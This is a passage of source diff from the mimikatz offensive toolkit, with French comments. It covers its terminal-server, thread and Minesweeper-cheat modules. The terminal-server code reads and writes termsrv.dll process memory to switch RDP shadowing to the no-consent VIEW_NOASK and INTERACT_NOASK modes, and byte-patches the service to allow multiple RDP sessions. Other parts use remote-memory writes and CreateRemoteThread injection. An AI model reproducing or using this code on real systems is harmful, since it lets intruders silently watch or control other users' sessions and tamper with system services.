setw(5) << setfill(wchar_t(' ')) << maSession->state << L'\t' <<
|
||||
setw(15) << setfill(wchar_t(' ')) << left << stateToType(maSession->state) << right << L'\t' <<
|
||||
maSession->sessionName <<
|
||||
endl;
|
||||
}
|
||||
}
|
||||
else wcout << L"mod_ts::getSessions : " << mod_system::getWinError() << endl;
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_terminalserver::processes(vector<wstring> * arguments)
|
||||
{
|
||||
vector<mod_ts::KIWI_WTS_PROCESS_INFO> mesProcess;
|
||||
|
||||
if(mod_ts::getProcesses(&mesProcess, (arguments->size() ? &arguments->front() : NULL)))
|
||||
{
|
||||
wcout << L"PID\tSessId\tUtilisateur" << endl;
|
||||
for(vector<mod_ts::KIWI_WTS_PROCESS_INFO>::iterator monProcess = mesProcess.begin(); monProcess != mesProcess.end(); monProcess++)
|
||||
{
|
||||
wcout <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monProcess->pid << L'\t' <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monProcess->sessionId << L'\t' <<
|
||||
setw(48) << setfill(wchar_t(' ')) << left << monProcess->userSid << right << L'\t' <<
|
||||
monProcess->processName <<
|
||||
endl;
|
||||
}
|
||||
}
|
||||
else wcout << L"mod_ts::getSessions : " << mod_system::getWinError() << endl;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_terminalserver::viewshadow(vector<wstring> * arguments)
|
||||
{
|
||||
DWORD session = 0;
|
||||
PDWORD ptrSession = NULL;
|
||||
|
||||
if(arguments->size() == 1)
|
||||
{
|
||||
wstringstream resultat(arguments->front());
|
||||
resultat >> session;
|
||||
ptrSession = &session;
|
||||
}
|
||||
|
||||
listAndOrModifySession(ptrSession);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_terminalserver::modifyshadow(vector<wstring> * arguments)
|
||||
{
|
||||
DWORD session = 0;
|
||||
PDWORD ptrSession = NULL;
|
||||
|
||||
wstring strState;
|
||||
DWORD newState = 0;
|
||||
|
||||
if(arguments->size() == 1)
|
||||
{
|
||||
strState.assign(arguments->front());
|
||||
}
|
||||
else if(arguments->size() == 2)
|
||||
{
|
||||
wstringstream resultat(arguments->front());
|
||||
resultat >> session;
|
||||
ptrSession = &session;
|
||||
|
||||
strState.assign(arguments->back());
|
||||
}
|
||||
|
||||
if(!strState.empty())
|
||||
{
|
||||
bool strError = false;
|
||||
if(_wcsicmp(strState.c_str(), L"DISABLE") == 0) newState = 0;
|
||||
else if(_wcsicmp(strState.c_str(), L"INTERACT") == 0) newState = 1;
|
||||
else if(_wcsicmp(strState.c_str(), L"INTERACT_NOASK") == 0) newState = 2;
|
||||
else if(_wcsicmp(strState.c_str(), L"VIEW") == 0) newState = 3;
|
||||
else if(_wcsicmp(strState.c_str(), L"VIEW_NOASK") == 0) newState = 4;
|
||||
else strError = true;
|
||||
|
||||
if(!strError)
|
||||
listAndOrModifySession(ptrSession, &newState);
|
||||
else
|
||||
wcout << L"Erreur de parsing de l\'argument : " << strState << endl;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_terminalserver::listAndOrModifySession(DWORD * id, DWORD * newState)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
vector<mod_patch::OS> mesOS;
|
||||
mesOS.push_back(mod_patch::WINDOWS_2003_____x86);
|
||||
mesOS.push_back(mod_patch::WINDOWS_2003_____x64);
|
||||
mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86);
|
||||
mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x64);
|
||||
|
||||
if(mod_patch::checkVersion(&mesOS))
|
||||
{
|
||||
#ifdef _M_X64
|
||||
BYTE pattern1NT5[] = {0x48, 0x3B, 0xFE, 0x74, 0x22};
|
||||
long offsetToWin = -4;
|
||||
#elif defined _M_IX86
|
||||
BYTE pattern1NT5[] = {0x8D, 0x47, 0x20, 0x53, 0x50, 0xFF, 0x15};
|
||||
long offsetToWin = -6;
|
||||
#endif
|
||||
mod_service::KIWI_SERVICE_STATUS_PROCESS monService;
|
||||
wstring serviceName = L"TermService";
|
||||
wstring moduleName = L"termsrv.dll";
|
||||
|
||||
if(mod_service::getUniqueForName(&monService, &serviceName))
|
||||
{
|
||||
mod_process::KIWI_MODULEENTRY32 monModule;
|
||||
if(mod_process::getUniqueModuleForName(&monModule, &moduleName, &monService.ServiceStatusProcess.dwProcessId))
|
||||
{
|
||||
PBYTE baseAddr = monModule.modBaseAddr;
|
||||
DWORD taille = monModule.modBaseSize;
|
||||
|
||||
if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monService.ServiceStatusProcess.dwProcessId))
|
||||
{
|
||||
PBYTE addrPattern = NULL;
|
||||
if(mod_memory::searchMemory(baseAddr, baseAddr + taille, pattern1NT5, &addrPattern, sizeof(pattern1NT5), true, processHandle))
|
||||
{
|
||||
PBYTE addrWinstationListHead = NULL;
|
||||
|
||||
bool resInterm = false;
|
||||
|
||||
#ifdef _M_X64
|
||||
long offSet = 0;
|
||||
resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast<PBYTE>(&offSet), sizeof(long), processHandle);
|
||||
addrWinstationListHead = addrPattern + offSet;
|
||||
#elif defined _M_IX86
|
||||
resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast<PBYTE>(&addrWinstationListHead), sizeof(PBYTE), processHandle);
|
||||
#endif
|
||||
if(resInterm)
|
||||
{
|
||||
PBYTE addrWinstation = addrWinstationListHead;
|
||||
do
|
||||
{
|
||||
if(mod_memory::readMemory(addrWinstation, reinterpret_cast<PBYTE>(&addrWinstation), sizeof(PBYTE), processHandle) && addrWinstation != addrWinstationListHead)
|
||||
{
|
||||
KIWI_TS_SESSION * maSession = new KIWI_TS_SESSION();
|
||||
if(reussite = mod_memory::readMemory(addrWinstation, reinterpret_cast<PBYTE>(maSession), sizeof(KIWI_TS_SESSION), processHandle))
|
||||
{
|
||||
if((!id) || (maSession->id == *id))
|
||||
{
|
||||
wcout << L"@Winstation : " << addrWinstation << endl;
|
||||
|
||||
wcout << L"\t" << maSession->prev << L" <-> " << maSession->next << endl;
|
||||
wcout << L"\tid : " << maSession->id << endl;
|
||||
wcout << L"\tname : " << maSession->name << endl;
|
||||
wcout << L"\tsname : " << maSession->sname << endl;
|
||||
wcout << L"\ttype : " << maSession->type << endl;
|
||||
wcout << L"\tshadow : " << maSession->shadow << L" (" << shadowToType(maSession->shadow) << L")" << endl;
|
||||
|
||||
if(newState)
|
||||
{
|
||||
reussite = mod_memory::writeMemory(addrWinstation + FIELD_OFFSET(KIWI_TS_SESSION, shadow), newState, sizeof(DWORD), processHandle);
|
||||
wcout << L"\t => " << *newState << L" (" <<shadowToType(*newState) << L") : " << (reussite ? L"OK" : L"KO") << endl;
|
||||
}
|
||||
wcout << endl;
|
||||
}
|
||||
}
|
||||
delete maSession;
|
||||
}
|
||||
} while(addrWinstation != addrWinstationListHead);
|
||||
}
|
||||
else wcout << L"mod_memory::readMemory " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else wcout << L"mod_memory::searchMemory " << mod_system::getWinError() << endl;
|
||||
|
||||
CloseHandle(processHandle);
|
||||
}
|
||||
else wcout << L"OpenProcess " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else wcout << L"mod_process::getUniqueModuleForName : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else wcout << L"mod_process::getUniqueServiceForName : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_terminalserver::multirdp(vector<wstring> * arguments)
|
||||
{
|
||||
BYTE PTRN_WIN5_TestLicence[] = {0x83, 0xf8, 0x02, 0x7f};
|
||||
BYTE PATC_WIN5_TestLicence[] = {0x90, 0x90};
|
||||
LONG OFFS_WIN5_TestLicence = 3;
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WN60_Query__CDefPolicy[] = {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x75};
|
||||
BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb};
|
||||
BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x39, 0x87, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84};
|
||||
BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90};
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WN60_Query__CDefPolicy[] = {0x3b, 0x91, 0x20, 0x03, 0x00, 0x00, 0x5e, 0x0f, 0x84};
|
||||
BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x5e, 0x90, 0x90};
|
||||
BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x3b, 0x86, 0x20, 0x03, 0x00, 0x00, 0x0f, 0x84};
|
||||
BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x86, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90};
|
||||
#endif
|
||||
LONG OFFS_WIN6_Query__CDefPolicy = 0;
|
||||
|
||||
BYTE * PTRN_Licence = NULL; DWORD SIZE_PTRN_Licence = 0;
|
||||
BYTE * PATC_Licence = NULL; DWORD SIZE_PATC_Licence = 0;
|
||||
LONG OFFS_PATC_Licence = 0;
|
||||
if(mod_system::GLOB_Version.dwMajorVersion < 6)
|
||||
{
|
||||
PTRN_Licence = PTRN_WIN5_TestLicence; SIZE_PTRN_Licence = sizeof(PTRN_WIN5_TestLicence);
|
||||
PATC_Licence = PATC_WIN5_TestLicence; SIZE_PATC_Licence = sizeof(PATC_WIN5_TestLicence);
|
||||
OFFS_PATC_Licence = OFFS_WIN5_TestLicence;
|
||||
}
|
||||
else
|
||||
{
|
||||
if(mod_system::GLOB_Version.dwMinorVersion < 1)
|
||||
{
|
||||
PTRN_Licence = PTRN_WN60_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN60_Query__CDefPolicy);
|
||||
PATC_Licence = PATC_WN60_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN60_Query__CDefPolicy);
|
||||
}
|
||||
else
|
||||
{
|
||||
PTRN_Licence = PTRN_WN6x_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN6x_Query__CDefPolicy);
|
||||
PATC_Licence = PATC_WN6x_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN6x_Query__CDefPolicy);
|
||||
}
|
||||
OFFS_PATC_Licence = OFFS_WIN6_Query__CDefPolicy;
|
||||
}
|
||||
|
||||
mod_patch::patchModuleOfService(L"TermService", L"termsrv.dll", PTRN_Licence, SIZE_PTRN_Licence, PATC_Licence, SIZE_PATC_Licence, OFFS_PATC_Licence);
|
||||
return true;
|
||||
}
|
||||
|
||||
wstring mod_mimikatz_terminalserver::shadowToType(DWORD shadow)
|
||||
{
|
||||
switch(shadow)
|
||||
{
|
||||
case 0: return(L"DISABLE");
|
||||
case 1: return(L"INTERACT (confirmation)");
|
||||
case 2: return(L"INTERACT_NOASK");
|
||||
case 3: return(L"VIEW (confirmation)");
|
||||
case 4: return(L"VIEW_NOASK");
|
||||
default: return(L"?");
|
||||
}
|
||||
}
|
||||
|
||||
wstring mod_mimikatz_terminalserver::stateToType(DWORD state)
|
||||
{
|
||||
switch(state)
|
||||
{
|
||||
case WTSActive: return(L"Active");
|
||||
case WTSConnected: return(L"Connected");
|
||||
case WTSConnectQuery: return(L"ConnectQuery");
|
||||
case WTSShadow: return(L"Shadow");
|
||||
case WTSDisconnected: return(L"Disconnected");
|
||||
case WTSIdle: return(L"Idle");
|
||||
case WTSListen: return(L"Listen");
|
||||
case WTSReset: return(L"Reset");
|
||||
case WTSDown: return(L"Down");
|
||||
case WTSInit: return(L"Init");
|
||||
|
||||
default: return(L"?");
|
||||
}
|
||||
}
|
@ -0,0 +1,55 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_ts.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_memory.h"
|
||||
#include "mod_patch.h"
|
||||
#include <iostream>
|
||||
|
||||
class mod_mimikatz_terminalserver
|
||||
{
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool sessions(vector<wstring> * arguments);
|
||||
static bool processes(vector<wstring> * arguments);
|
||||
static bool viewshadow(vector<wstring> * arguments);
|
||||
static bool modifyshadow(vector<wstring> * arguments);
|
||||
static bool multirdp(vector<wstring> * arguments);
|
||||
|
||||
private:
|
||||
static bool listAndOrModifySession(DWORD * id = NULL, DWORD * newState = NULL);
|
||||
static wstring shadowToType(DWORD shadow);
|
||||
static wstring stateToType(DWORD state);
|
||||
|
||||
enum KIWI_SHADOW_TYPE {
|
||||
SHADOW_DISABLE = 0,
|
||||
SHADOW_INTERACT = 1,
|
||||
SHADOW_INTERACT_NOASK = 2,
|
||||
SHADOW_VIEW = 3,
|
||||
SHADOW_VIEW_NOASK = 4
|
||||
};
|
||||
|
||||
typedef struct _KIWI_TS_SESSION {
|
||||
PBYTE next;
|
||||
PBYTE prev;
|
||||
PBYTE unk1;
|
||||
PBYTE refLock;
|
||||
PBYTE unk2;
|
||||
BYTE unk3[8];
|
||||
DWORD id;
|
||||
wchar_t name[32+1];
|
||||
BYTE unk4[7434];
|
||||
wchar_t sname[32+1];
|
||||
wchar_t type[32+1];
|
||||
BYTE unk5[1684];
|
||||
DWORD shadow;
|
||||
} KIWI_TS_SESSION, * PKIWI_TS_SESSION;
|
||||
|
||||
};
|
||||
|
@ -0,0 +1,137 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_thread.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_thread::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les threads"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend un thread actif"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un thread suspendu"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Arrête un thread"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(quit, L"quit", L"Envoi un message de fermeture à un thread"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_thread::list(vector<wstring> * arguments)
|
||||
{
|
||||
vector<THREADENTRY32> * vectorThreads = new vector<THREADENTRY32>();
|
||||
|
||||
DWORD processId = arguments->empty() ? 0 : _wtoi(arguments->front().c_str());
|
||||
|
||||
if(mod_thread::getList(vectorThreads, arguments->empty() ? NULL : &processId))
|
||||
{
|
||||
wcout << L"PID\tTID\tprTh" << endl;
|
||||
for(vector<THREADENTRY32>::iterator monThread = vectorThreads->begin(); monThread != vectorThreads->end(); monThread++)
|
||||
wcout <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monThread->th32OwnerProcessID << L'\t' <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monThread->th32ThreadID << L'\t' <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monThread->tpBasePri <<
|
||||
endl;
|
||||
}
|
||||
else
|
||||
wcout << L"mod_thread::getList ; " << mod_system::getWinError() << endl;
|
||||
|
||||
delete vectorThreads;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_thread::resume(vector<wstring> * arguments)
|
||||
{
|
||||
for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++)
|
||||
{
|
||||
DWORD threadId = _wtoi(monArgThread->c_str());
|
||||
|
||||
if(threadId != 0)
|
||||
{
|
||||
wcout << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\treprise ";
|
||||
|
||||
if(mod_thread::resume(threadId))
|
||||
wcout << L"OK";
|
||||
else
|
||||
wcout << L"KO - mod_thread::resume ; " << mod_system::getWinError();
|
||||
}
|
||||
else
|
||||
wcout << L"argument \'" << *monArgThread << L"\' invalide";
|
||||
|
||||
wcout << endl;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_thread::suspend(vector<wstring> * arguments)
|
||||
{
|
||||
for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++)
|
||||
{
|
||||
DWORD threadId = _wtoi(monArgThread->c_str());
|
||||
|
||||
if(threadId != 0)
|
||||
{
|
||||
wcout << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tsuspension ";
|
||||
|
||||
if(mod_thread::suspend(threadId))
|
||||
wcout << L"OK";
|
||||
else
|
||||
wcout << L"KO - mod_thread::suspend ; " << mod_system::getWinError();
|
||||
}
|
||||
else
|
||||
wcout << L"argument \'" << *monArgThread << L"\' invalide";
|
||||
|
||||
wcout << endl;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_thread::stop(vector<wstring> * arguments)
|
||||
{
|
||||
for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++)
|
||||
{
|
||||
DWORD threadId = _wtoi(monArgThread->c_str());
|
||||
|
||||
if(threadId != 0)
|
||||
{
|
||||
wcout << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tarrêt ";
|
||||
|
||||
if(mod_thread::stop(threadId))
|
||||
wcout << L"OK";
|
||||
else
|
||||
wcout << L"KO - mod_thread::stop ; " << mod_system::getWinError();
|
||||
}
|
||||
else
|
||||
wcout << L"argument \'" << *monArgThread << L"\' invalide";
|
||||
|
||||
wcout << endl;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_thread::quit(vector<wstring> * arguments)
|
||||
{
|
||||
for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++)
|
||||
{
|
||||
DWORD threadId = _wtoi(monArgThread->c_str());
|
||||
|
||||
if(threadId != 0)
|
||||
{
|
||||
wcout << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tmessage fermeture ";
|
||||
|
||||
if(mod_thread::quit(threadId))
|
||||
wcout << L"OK";
|
||||
else
|
||||
wcout << L"KO - mod_thread::quit ; " << mod_system::getWinError();
|
||||
}
|
||||
else
|
||||
wcout << L"argument \'" << *monArgThread << L"\' invalide";
|
||||
|
||||
wcout << endl;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
@ -0,0 +1,27 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_system.h"
|
||||
#include "mod_thread.h"
|
||||
#include <iostream>
|
||||
#include <iomanip>
|
||||
|
||||
class mod_mimikatz_thread
|
||||
{
|
||||
private:
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool list(vector<wstring> * arguments);
|
||||
//static bool start(vector<wstring> * arguments);
|
||||
static bool suspend(vector<wstring> * arguments);
|
||||
static bool resume(vector<wstring> * arguments);
|
||||
static bool stop(vector<wstring> * arguments);
|
||||
//static bool query(vector<wstring> * arguments);
|
||||
|
||||
static bool quit(vector<wstring> * arguments);
|
||||
};
|
@ -0,0 +1,161 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_winmine.h"
|
||||
|
||||
char DISP_WINMINE[] = " 123456789*x*?F.";
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_winmine::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le démineur en cours"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pause, L"pause", L"Met en pause le chronomètre du démineur en cours"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(reprise, L"reprise", L"Reprend le chronomètre du démineur en cours"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Démarre une nouvelle partie"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cheat, L"cheat", L"Triche au démineur"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_winmine::infos(vector<wstring> * arguments)
|
||||
{
|
||||
return infosOrCheat(arguments, false);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_winmine::cheat(vector<wstring> * arguments)
|
||||
{
|
||||
return infosOrCheat(arguments, true);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_winmine::infosOrCheat(vector<wstring> * arguments, bool cheat)
|
||||
{
|
||||
structHandleAndAddr * maStruct = new structHandleAndAddr();
|
||||
if(giveHandleAndAddr(maStruct))
|
||||
{
|
||||
structMonDemineur monDemineur;
|
||||
if(mod_memory::readMemory(maStruct->addrMonDemineur, &monDemineur, sizeof(structMonDemineur), maStruct->hWinmine))
|
||||
{
|
||||
wcout << L"Mines : " << monDemineur.nbMines << endl <<
|
||||
L"Dimension : " << monDemineur.hauteur << L" lignes x " << monDemineur.longueur << L" colonnes" << endl <<
|
||||
L"Champ : " << endl << endl;
|
||||
|
||||
for (DWORD y = 1; y <= monDemineur.hauteur; y++)
|
||||
{
|
||||
if(!cheat)
|
||||
wcout << L'\t';
|
||||
|
||||
for(DWORD x = 1; x <= monDemineur.longueur; x++)
|
||||
{
|
||||
BYTE laCase = monDemineur.tabMines[y][x];
|
||||
|
||||
if(!cheat)
|
||||
wcout << L' ' << static_cast<wchar_t>((laCase & 0x80) ? '*' : DISP_WINMINE[laCase & 0x0f]);
|
||||
else if(laCase & 0x80)
|
||||
monDemineur.tabMines[y][x] = 0x4e;
|
||||
}
|
||||
if(!cheat)
|
||||
wcout << endl;
|
||||
}
|
||||
|
||||
if(cheat)
|
||||
{
|
||||
if(mod_memory::writeMemory(maStruct->addrMonDemineur, &monDemineur, sizeof(structMonDemineur), maStruct->hWinmine))
|
||||
wcout << L"Patché ;)" << endl;
|
||||
|
||||
vector<mod_windows::KIWI_HWND_ENTRY> mesHWNDS;
|
||||
if(mod_windows::getHWNDsFromProcessId(&mesHWNDS, maStruct->pidWinmine))
|
||||
{
|
||||
for(vector<mod_windows::KIWI_HWND_ENTRY>::iterator monHWND = mesHWNDS.begin(); monHWND != mesHWNDS.end(); monHWND++)
|
||||
{
|
||||
InvalidateRect(monHWND->monHandle, NULL, TRUE);
|
||||
UpdateWindow(monHWND->monHandle);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseHandle(maStruct->hWinmine);
|
||||
}
|
||||
delete maStruct;
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_winmine::pause(vector<wstring> * arguments)
|
||||
{
|
||||
startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrPause));
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_winmine::reprise(vector<wstring> * arguments)
|
||||
{
|
||||
startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrResume));
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_winmine::start(vector<wstring> * arguments)
|
||||
{
|
||||
startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrStart));
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_winmine::startThreadAt(unsigned long structOffset)
|
||||
{
|
||||
bool reussite = false;
|
||||
structHandleAndAddr * maStruct = new structHandleAndAddr();
|
||||
if(giveHandleAndAddr(maStruct))
|
||||
{
|
||||
if (HANDLE hRemoteThread = CreateRemoteThread(maStruct->hWinmine, NULL, 0, *reinterpret_cast<PTHREAD_START_ROUTINE *>(reinterpret_cast<PBYTE>(maStruct) + structOffset), NULL, 0, NULL))
|
||||
{
|
||||
reussite = true;
|
||||
WaitForSingleObject(hRemoteThread, INFINITE);
|
||||
CloseHandle(hRemoteThread);
|
||||
}
|
||||
}
|
||||
delete maStruct;
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_winmine::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr)
|
||||
{
|
||||
BYTE patternStartGame[] = {0x6a, 0x04, 0xeb, 0x02, 0x6a, 0x06, 0x5b, 0xa3};
|
||||
BYTE patternPause[] = {0x02, 0x75, 0x0a, 0xa1};
|
||||
BYTE patternReprise[] = {0x01, 0x74, 0x0a, 0xa1};
|
||||
BYTE patternStart[] = {0x53, 0x56, 0x57, 0x33, 0xff, 0x3b, 0x05};
|
||||
|
||||
RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr));
|
||||
|
||||
wstring nomDemineur(L"winmine.exe");
|
||||
mod_process::KIWI_PROCESSENTRY32 monDemineur;
|
||||
if(mod_process::getUniqueForName(&monDemineur, &nomDemineur))
|
||||
{
|
||||
monHandleAndAddr->pidWinmine = monDemineur.th32ProcessID;
|
||||
mod_process::KIWI_MODULEENTRY32 monModule;
|
||||
if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID))
|
||||
{
|
||||
PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL;
|
||||
if(monHandleAndAddr->hWinmine = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monDemineur.th32ProcessID))
|
||||
{
|
||||
if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternStartGame, &ptrTemp, sizeof(patternStartGame), true, monHandleAndAddr->hWinmine))
|
||||
if(mod_memory::readMemory(ptrTemp + sizeof(patternStartGame), &ptrTemp, sizeof(ULONG), monHandleAndAddr->hWinmine)) // high bits of ptrTemp are already at 00000000
|
||||
monHandleAndAddr->addrMonDemineur = reinterpret_cast<structMonDemineur *>(ptrTemp - sizeof(ULONG));
|
||||
|
||||
if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternPause, &ptrTemp, sizeof(patternPause), true, monHandleAndAddr->hWinmine))
|
||||
monHandleAndAddr->addrPause = reinterpret_cast<PTHREAD_START_ROUTINE>(ptrTemp - 11);
|
||||
|
||||
if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternReprise, &ptrTemp, sizeof(patternReprise), true, monHandleAndAddr->hWinmine))
|
||||
monHandleAndAddr->addrResume = reinterpret_cast<PTHREAD_START_ROUTINE>(ptrTemp - 6);
|
||||
|
||||
if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternStart, &ptrTemp, sizeof(patternStart), true, monHandleAndAddr->hWinmine))
|
||||
monHandleAndAddr->addrStart = reinterpret_cast<PTHREAD_START_ROUTINE>(ptrTemp - 11);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool reussite = monHandleAndAddr->hWinmine && monHandleAndAddr->addrMonDemineur && monHandleAndAddr->addrStart && monHandleAndAddr->addrPause && monHandleAndAddr->addrResume;
|
||||
|
||||
if(!reussite && monHandleAndAddr->hWinmine)
|
||||
CloseHandle(monHandleAndAddr->hWinmine);
|
||||
|
||||
return reussite;
|
||||
}
|
@ -0,0 +1,45 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_memory.h"
|
||||
#include "mod_windows.h"
|
||||
#include <iostream>
|
||||
|
||||
class mod_mimikatz_winmine
|
||||
{
|
||||
private:
|
||||
typedef struct structMonDemineur{
|
||||
DWORD32 nbMines;
|
||||
DWORD32 longueur;
|
||||
DWORD32 hauteur;
|
||||
DWORD32 alignOffset;
|
||||
BYTE tabMines[26][32];
|
||||
} structMonDemineur;
|
||||
|
||||
typedef struct structHandleAndAddr{
|
||||
HANDLE hWinmine;
